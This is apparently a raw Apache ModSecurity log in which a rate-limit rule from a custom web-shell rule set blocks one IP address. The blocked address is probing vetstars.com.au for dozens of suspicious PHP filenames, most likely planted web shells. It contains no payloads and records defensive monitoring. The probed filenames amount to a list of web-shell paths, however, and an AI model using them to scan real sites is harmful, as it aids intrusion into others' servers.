[Sun Apr 12 08:23:38.516519 2026] [:error] [pid 25327:tid 25336] [client 4.232.184.116:11201] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/9EaklzMysJ.php"] [unique_id "adrmCi6h2tZEVJo9JFJn0QAAAAA"]
[Sun Apr 12 08:23:39.550194 2026] [:error] [pid 25327:tid 25337] [client 4.232.184.116:11253] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/9EaklzMysJ.php"] [unique_id "adrmCy6h2tZEVJo9JFJn1gAAAAE"]
[Sun Apr 12 08:23:40.324085 2026] [:error] [pid 25328:tid 25389] [client 4.232.184.116:11195] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/9EaklzMysJ.php"] [unique_id "adrmDMxUaQZxT-e0YsAjWgAAAFA"]
[Sun Apr 12 08:23:42.640145 2026] [:error] [pid 25327:tid 25340] [client 4.232.184.116:11177] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpxl.php"] [unique_id "adrmDi6h2tZEVJo9JFJn4AAAAAQ"]
[Sun Apr 12 08:23:45.173556 2026] [:error] [pid 25329:tid 25402] [client 4.232.184.116:11163] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpxl.php"] [unique_id "adrmEWdcIYsS8Iyaj11eUwAAAI8"]
[Sun Apr 12 08:23:48.523828 2026] [:error] [pid 26600:tid 26646] [client 4.232.184.116:11211] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpxl.php"] [unique_id "adrmFO1YwAZiXhQKLYqc9AAAAZE"]
[Sun Apr 12 08:23:49.261049 2026] [:error] [pid 25327:tid 25339] [client 4.232.184.116:11180] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpxl.php"] [unique_id "adrmFS6h2tZEVJo9JFJn8gAAAAM"]
[Sun Apr 12 08:23:49.926876 2026] [:error] [pid 26600:tid 26629] [client 4.232.184.116:11110] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s3FiyJ2WGCnF0p1default.php"] [unique_id "adrmFe1YwAZiXhQKLYqc-QAAAYA"]
[Sun Apr 12 08:23:51.799206 2026] [:error] [pid 26599:tid 26613] [client 4.232.184.116:11167] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s3FiyJ2WGCnF0p1default.php"] [unique_id "adrmF3G89LXoQbk_rwBzBQAAAUs"]
[Sun Apr 12 08:23:53.236334 2026] [:error] [pid 25328:tid 25403] [client 4.232.184.116:11097] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s3FiyJ2WGCnF0p1default.php"] [unique_id "adrmGcxUaQZxT-e0YsAjYwAAAFY"]
[Sun Apr 12 08:23:54.580852 2026] [:error] [pid 25327:tid 25338] [client 4.232.184.116:11193] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s3FiyJ2WGCnF0p1default.php"] [unique_id "adrmGi6h2tZEVJo9JFJn9wAAAAI"]
[Sun Apr 12 08:23:55.899263 2026] [:error] [pid 25328:tid 25380] [client 4.232.184.116:11219] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bfil.php"] [unique_id "adrmG8xUaQZxT-e0YsAjbAAAAEw"]
[Sun Apr 12 08:23:57.159794 2026] [:error] [pid 26600:tid 26635] [client 4.232.184.116:11161] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bfil.php"] [unique_id "adrmHe1YwAZiXhQKLYqdEQAAAYY"]
[Sun Apr 12 08:23:58.795574 2026] [:error] [pid 25327:tid 25355] [client 4.232.184.116:11096] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bfil.php"] [unique_id "adrmHi6h2tZEVJo9JFJoBAAAABM"]
[Sun Apr 12 08:24:00.222041 2026] [:error] [pid 26599:tid 26619] [client 4.232.184.116:11078] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bfil.php"] [unique_id "adrmIHG89LXoQbk_rwBzDQAAAVE"]
[Sun Apr 12 08:24:02.161479 2026] [:error] [pid 60280:tid 60284] [client 4.232.184.116:11212] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lb.php"] [unique_id "adrmInBlLnDOYuIykkgi5QAAAcI"]
[Sun Apr 12 08:24:03.171313 2026] [:error] [pid 26600:tid 26636] [client 4.232.184.116:11246] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lb.php"] [unique_id "adrmI-1YwAZiXhQKLYqdKgAAAYc"]
[Sun Apr 12 08:24:04.681163 2026] [:error] [pid 26599:tid 26621] [client 4.232.184.116:11138] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lb.php"] [unique_id "adrmJHG89LXoQbk_rwBzFgAAAVM"]
[Sun Apr 12 08:24:55.704500 2026] [:error] [pid 26599:tid 26619] [client 4.232.184.116:11084] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxiviLDIot.php"] [unique_id "adrmV3G89LXoQbk_rwBzqAAAAVE"]
[Sun Apr 12 08:24:57.793780 2026] [:error] [pid 25329:tid 25374] [client 4.232.184.116:11154] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxiviLDIot.php"] [unique_id "adrmWWdcIYsS8Iyaj11eeAAAAIA"]
[Sun Apr 12 08:24:59.217547 2026] [:error] [pid 25437:tid 25453] [client 4.232.184.116:11137] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxiviLDIot.php"] [unique_id "adrmW3f97wYZje1ep_N98gAAAM4"]
[Sun Apr 12 08:25:01.175173 2026] [:error] [pid 26600:tid 26649] [client 4.232.184.116:11120] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxiviLDIot.php"] [unique_id "adrmXe1YwAZiXhQKLYqd_QAAAZQ"]
[Sun Apr 12 08:25:03.473729 2026] [:error] [pid 25329:tid 25390] [client 4.232.184.116:11194] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hanyatersenyum.php"] [unique_id "adrmX2dcIYsS8Iyaj11eogAAAIg"]
[Sun Apr 12 08:25:06.169028 2026] [:error] [pid 26567:tid 26592] [client 4.232.184.116:11259] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hanyatersenyum.php"] [unique_id "adrmYnhRpg6ptWFyFx0tEgAAARc"]
[Sun Apr 12 08:25:08.393531 2026] [:error] [pid 26600:tid 26637] [client 4.232.184.116:11108] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hanyatersenyum.php"] [unique_id "adrmZO1YwAZiXhQKLYqeDQAAAYg"]
[Sun Apr 12 08:25:12.772058 2026] [:error] [pid 25327:tid 25340] [client 4.232.184.116:11066] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hanyatersenyum.php"] [unique_id "adrmaC6h2tZEVJo9JFJo0AAAAAQ"]
[Sun Apr 12 08:25:15.296587 2026] [:error] [pid 25328:tid 25398] [client 4.232.184.116:11179] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/5tdwvyWnTbRiMS8f18HXNBbALHKB5t4j.php"] [unique_id "adrma8xUaQZxT-e0YsAj2gAAAFQ"]
[Sun Apr 12 08:25:16.514658 2026] [:error] [pid 25329:tid 25404] [client 4.232.184.116:11089] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/5tdwvyWnTbRiMS8f18HXNBbALHKB5t4j.php"] [unique_id "adrmbGdcIYsS8Iyaj11etAAAAJA"]
[Sun Apr 12 08:25:17.469213 2026] [:error] [pid 25328:tid 25403] [client 4.232.184.116:11179] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/5tdwvyWnTbRiMS8f18HXNBbALHKB5t4j.php"] [unique_id "adrmbcxUaQZxT-e0YsAj3gAAAFY"]
[Sun Apr 12 08:25:18.120070 2026] [:error] [pid 60280:tid 60295] [client 4.232.184.116:11172] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/5tdwvyWnTbRiMS8f18HXNBbALHKB5t4j.php"] [unique_id "adrmbnBlLnDOYuIykkgjVgAAAc0"]
[Sun Apr 12 08:25:19.118861 2026] [:error] [pid 25329:tid 25376] [client 4.232.184.116:11075] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/upll22.php"] [unique_id "adrmb2dcIYsS8Iyaj11euQAAAIE"]
[Sun Apr 12 08:25:19.815182 2026] [:error] [pid 25329:tid 25392] [client 4.232.184.116:11169] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/upll22.php"] [unique_id "adrmb2dcIYsS8Iyaj11eugAAAIk"]
[Sun Apr 12 08:25:20.320546 2026] [:error] [pid 25328:tid 25366] [client 4.232.184.116:11173] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/upll22.php"] [unique_id "adrmcMxUaQZxT-e0YsAj5AAAAEI"]
[Sun Apr 12 08:25:20.880933 2026] [:error] [pid 26599:tid 26616] [client 4.232.184.116:11039] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/upll22.php"] [unique_id "adrmcHG89LXoQbk_rwBz0AAAAU4"]
[Sun Apr 12 08:25:21.518910 2026] [:error] [pid 26599:tid 26626] [client 4.232.184.116:11029] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/100.php"] [unique_id "adrmcXG89LXoQbk_rwBz0QAAAVg"]
[Sun Apr 12 08:25:22.447104 2026] [:error] [pid 26567:tid 26575] [client 4.232.184.116:11174] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/100.php"] [unique_id "adrmcnhRpg6ptWFyFx0tPgAAAQY"]
[Sun Apr 12 08:25:23.218690 2026] [:error] [pid 26567:tid 26587] [client 4.232.184.116:11099] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/100.php"] [unique_id "adrmc3hRpg6ptWFyFx0tRAAAARI"]
[Sun Apr 12 08:25:24.026438 2026] [:error] [pid 25327:tid 25351] [client 4.232.184.116:11157] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/100.php"] [unique_id "adrmdC6h2tZEVJo9JFJo5gAAAA8"]
[Sun Apr 12 08:25:24.881778 2026] [:error] [pid 26567:tid 26586] [client 4.232.184.116:11109] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byrgo.php"] [unique_id "adrmdHhRpg6ptWFyFx0tUgAAARE"]
[Sun Apr 12 08:25:25.771931 2026] [:error] [pid 25437:tid 25459] [client 4.232.184.116:11220] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byrgo.php"] [unique_id "adrmdXf97wYZje1ep_N-FQAAANQ"]
[Sun Apr 12 08:25:27.208268 2026] [:error] [pid 25437:tid 25463] [client 4.232.184.116:11175] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byrgo.php"] [unique_id "adrmd3f97wYZje1ep_N-IgAAANg"]
[Sun Apr 12 08:25:27.929412 2026] [:error] [pid 25437:tid 25444] [client 4.232.184.116:11231] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byrgo.php"] [unique_id "adrmd3f97wYZje1ep_N-JwAAAMU"]
[Sun Apr 12 08:25:28.930520 2026] [:error] [pid 25327:tid 25356] [client 4.232.184.116:11151] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-243.php"] [unique_id "adrmeC6h2tZEVJo9JFJo6wAAABQ"]
[Sun Apr 12 08:25:29.571713 2026] [:error] [pid 25328:tid 25366] [client 4.232.184.116:11073] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-243.php"] [unique_id "adrmecxUaQZxT-e0YsAj8wAAAEI"]
[Sun Apr 12 08:25:30.077599 2026] [:error] [pid 25329:tid 25376] [client 4.232.184.116:11125] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-243.php"] [unique_id "adrmemdcIYsS8Iyaj11eygAAAIE"]
[Sun Apr 12 08:25:30.828580 2026] [:error] [pid 25328:tid 25370] [client 4.232.184.116:11087] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-243.php"] [unique_id "adrmesxUaQZxT-e0YsAj9wAAAEY"]
[Sun Apr 12 08:25:31.325121 2026] [:error] [pid 25437:tid 25463] [client 4.232.184.116:11213] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pm90apbv3v5fvgkbguyiCdefault.php"] [unique_id "adrme3f97wYZje1ep_N-LQAAANg"]
[Sun Apr 12 08:25:31.927972 2026] [:error] [pid 26567:tid 26579] [client 4.232.184.116:11088] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pm90apbv3v5fvgkbguyiCdefault.php"] [unique_id "adrme3hRpg6ptWFyFx0tXwAAAQo"]
[Sun Apr 12 08:25:32.636329 2026] [:error] [pid 25327:tid 25359] [client 4.232.184.116:11230] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pm90apbv3v5fvgkbguyiCdefault.php"] [unique_id "adrmfC6h2tZEVJo9JFJo7gAAABc"]
[Sun Apr 12 08:25:34.025141 2026] [:error] [pid 26567:tid 26581] [client 4.232.184.116:11119] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pm90apbv3v5fvgkbguyiCdefault.php"] [unique_id "adrmfnhRpg6ptWFyFx0taAAAAQw"]
[Sun Apr 12 08:25:34.853927 2026] [:error] [pid 26599:tid 26612] [client 4.232.184.116:11170] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/CDX1.php"] [unique_id "adrmfnG89LXoQbk_rwBz1wAAAUo"]
[Sun Apr 12 08:25:35.681510 2026] [:error] [pid 25328:tid 25391] [client 4.232.184.116:11192] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/CDX1.php"] [unique_id "adrmf8xUaQZxT-e0YsAj_wAAAFE"]
[Sun Apr 12 08:25:36.453092 2026] [:error] [pid 25328:tid 25377] [client 4.232.184.116:11205] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/CDX1.php"] [unique_id "adrmgMxUaQZxT-e0YsAkAwAAAEo"]
[Sun Apr 12 08:25:37.757873 2026] [:error] [pid 25327:tid 25343] [client 4.232.184.116:11141] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/CDX1.php"] [unique_id "adrmgS6h2tZEVJo9JFJo8wAAAAc"]
[Sun Apr 12 08:25:39.087329 2026] [:error] [pid 25327:tid 25347] [client 4.232.184.116:11245] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "adrmgy6h2tZEVJo9JFJo-wAAAAs"]
